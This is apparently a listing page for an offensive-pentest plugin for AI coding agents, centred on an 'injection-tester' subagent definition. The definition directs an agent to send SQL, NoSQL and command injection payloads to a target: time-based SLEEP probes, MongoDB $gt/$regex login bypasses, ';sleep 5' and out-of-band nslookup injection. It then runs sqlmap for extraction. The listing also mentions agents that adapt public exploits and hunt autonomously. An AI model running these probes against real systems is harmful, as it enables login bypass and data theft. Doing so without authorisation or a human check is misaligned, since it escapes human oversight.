csp-bypass-tester
AgentInspects Content Security Policy headers for policy weaknesses and tests bypass vectors including unsafe-inline, unsafe-eval,…
Tests for SQL injection, NoSQL injection, and OS command injection across HTTP parameters, JSON bodies, and headers. Uses sqlmap for automated SQLi detection and curl for manual probing. Follows 4-phase workflow. Deployed by common-appsec-patterns skill coordinator.
Claude Code
> /plugin marketplace add Stickman230/claude-pentest> /plugin install pentest@claude-pentest
Cursor
Cursor also loads subagents from .claude/agents, so copy this file there to use it in Cursor.
name: injection-tester description: Tests for SQL injection, NoSQL injection, and OS command injection across HTTP parameters, JSON bodies, and headers. Uses sqlmap for automated SQLi detection and curl for manual probing. Follows 4-phase workflow. Deployed by common-appsec-patterns skill coordinator. color: orange tools: [Bash, Read, Write]
Execute injection vulnerability testing across three attack types: SQL injection (error-based, blind, time-based, UNION), NoSQL injection (MongoDB operator injection), and OS command injection (Unix and Windows). Covers GET/POST parameters, JSON bodies, HTTP headers, and GraphQL queries.
1. Mount skill files:
Read plugins/pentest/skills/common-appsec-patterns/SKILL.md Read plugins/pentest/skills/mks/SKILL.md Read plugins/pentest/skills/pentest/attacks/injection/sql-injection/sql-injection-quickstart.md Read plugins/pentest/skills/pentest/attacks/injection/nosql-injection/nosql-injection-quickstart.md Read plugins/pentest/skills/pentest/attacks/injection/command-injection/os-command-injection-quickstart.md Read plugins/pentest/skills/pentest/attacks/injection/sql-injection/payloads/basic.md
2. Identify injection surface from previous inventory if available:
cat outputs/ENGAGEMENT/inventory/api-endpoints.json 2>/dev/null | \
grep -E '"GET"|"POST"|"PUT"' | head -40
cat outputs/ENGAGEMENT/analysis/api-endpoints.md 2>/dev/null | head -803. Probe the target for injectable parameters directly:
# Collect URLs with query parameters (historical + crawl)
gau TARGET 2>/dev/null | grep '?' | sort -u \
| tee outputs/ENGAGEMENT/activity/injection-urls-TARGET.txt
waybackurls TARGET 2>/dev/null | grep '?' | sort -u \
>> outputs/ENGAGEMENT/activity/injection-urls-TARGET.txt4. Identify technology stack clues (determines injection type priority):
curl -sI https://TARGET/ 2>&1 | grep -iE 'server|x-powered-by|x-aspnet|x-runtime' \
| tee outputs/ENGAGEMENT/activity/injection-stack-fingerprint.txt5. Log:
{"timestamp":"...","agent":"injection-tester","action":"recon","target":"https://TARGET","injectable_params_found":12,"stack":"node+mongodb","priority":["nosql","cmdi","sql"]}**SQLi Baseline Probes:**
For each GET parameter identified:
# Error-based probe: single quote to trigger SQL syntax error
curl -s "https://TARGET/search?q='" 2>&1 \
| grep -iE 'sql|syntax|error|mysql|mssql|ora-|sqlite|postgresql|pg_query' \
| tee outputs/ENGAGEMENT/activity/sqli-error-probe-TARGET.txt
# Time-based blind probe: sleep 5 seconds if vulnerable
time_result=$(curl -s -o /dev/null -w "%{time_total}" \
"https://TARGET/search?q=1';SELECT+SLEEP(5)--" 2>&1)
echo "Time-based probe result: ${time_result}s" \
| tee outputs/ENGAGEMENT/activity/sqli-time-probe-TARGET.txt
# If time_result > 5 → likely vulnerable to blind SQLiFor POST parameters:
curl -s -X POST https://TARGET/login \ -d "username=admin'--&password=x" 2>&1 \ | grep -iE 'sql|syntax|error|mysql|mssql' \ | tee outputs/ENGAGEMENT/activity/sqli-post-probe-TARGET.txt
**NoSQLi Baseline Probes:**
For MongoDB/Node.js applications, inject operators in JSON bodies:
# Operator injection: $gt operator to bypass comparison
curl -s -X POST https://TARGET/api/login \
-H 'Content-Type: application/json' \
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}' \
-w "\nHTTP_STATUS:%{http_code}" 2>&1 \
| tee outputs/ENGAGEMENT/activity/nosqli-operator-probe-TARGET.txt
# Regex injection: $regex to match any password
curl -s -X POST https://TARGET/api/login \
-H 'Content-Type: application/json' \
-d '{"username": "admin", "password": {"$regex": ".*"}}' \
-w "\nHTTP_STATUS:%{http_code}" 2>&1 \
| tee outputs/ENGAGEMENT/activity/nosqli-regex-probe-TARGET.txtIf HTTP 200 with successful login response → NoSQLi confirmed.
**CMDi Baseline Probes:**
For endpoints that appear to execute system commands (file conversion, DNS lookup, ping, report generation):
# Time-based CMDi probe (Unix)
time_result=$(curl -s -o /dev/null -w "%{time_total}" \
-d "host=127.0.0.1;sleep+5" https://TARGET/ping 2>&1)
echo "CMDi time probe: ${time_result}s" \
| tee outputs/ENGAGEMENT/activity/cmdi-time-probe-TARGET.txt
# Out-of-band CMDi probe using DNS callback
curl -s -d "host=127.0.0.1;nslookup+BURP_COLLABORATOR_HOST" \
https://TARGET/ping -w "\nHTTP_STATUS:%{http_code}" 2>&1 \
| tee outputs/ENGAGEMENT/activity/cmdi-oob-probe-TARGET.txtLog each probe:
{"timestamp":"...","agent":"injection-tester","action":"experiment","type":"sqli","param":"q","probe":"single-quote","result":"error-in-response","error":"You have an error in your SQL syntax"}
{"timestamp":"...","agent":"injection-tester","action":"experiment","type":"nosqli","endpoint":"POST /api/login","payload":"{\"$gt\":\"\"}","result":"login-success","http_status":200}**SQLi — Run sqlmap for automated confirmation and extraction:**
If MKS is active (`MKS_URL` non-empty from mounted skill), use the MKS sqlmap endpoint from `plugins/pentest/skills/mks/SKILL.md` instead of the local commands below.
# On confirmed SQLi parameter (local Bash — use MKS endpoint if active) sqlmap -u "https://TARGET/search?q=FUZZ" \ --batch \ --level=3 \ --risk=2 \ --output-dir=outputs/ENGAGEMENT/activity/sqlmap-TARGET/ \ 2>&1 | tee outputs/ENGAGEMENT/activity/sqlmap-run-TARGET.txt
For POST parameters:
sqlmap -u "https://TARGET/login" \ --data="username=admin&password=x" \ --batch --level=3 --risk=2 \ --output-dir=outputs/ENGAGEMENT/activity/sqlmap-post-TARGET/ \ 2>&1 |
An open source plugin for enabeling claude to gain offensive pentesting capabilities
Inspects Content Security Policy headers for policy weaknesses and tests bypass vectors including unsafe-inline, unsafe-eval,…
Tests for CSRF vulnerabilities including missing tokens, weak validation, SameSite bypass, token reuse, and method override.…
Identifies technology stacks, researches known CVEs in NVD/Exploit-DB/GitHub, adapts public PoC exploits, and validates…
Performs comprehensive domain reconnaissance including passive and active subdomain discovery (subfinder, amass, certificate…
Discovers REST API endpoints, GraphQL schemas, SOAP/WSDL services, WebSocket connections, and API documentation…
Runs active directory and file brute-forcing using ffuf, gobuster, feroxbuster, nikto, and dirsearch to discover directories,…
Performs preflight validation, config merging, TU enumeration, and work directory setup for zeroize-audit. Produces…
Autonomous hunt loop agent. Runs the full hunt cycle (scope → recon → rank → hunt → validate → report) without stopping for…
Autonomous hunt loop agent. Runs the full hunt cycle (scope → recon → rank → hunt → validate → report) without stopping for…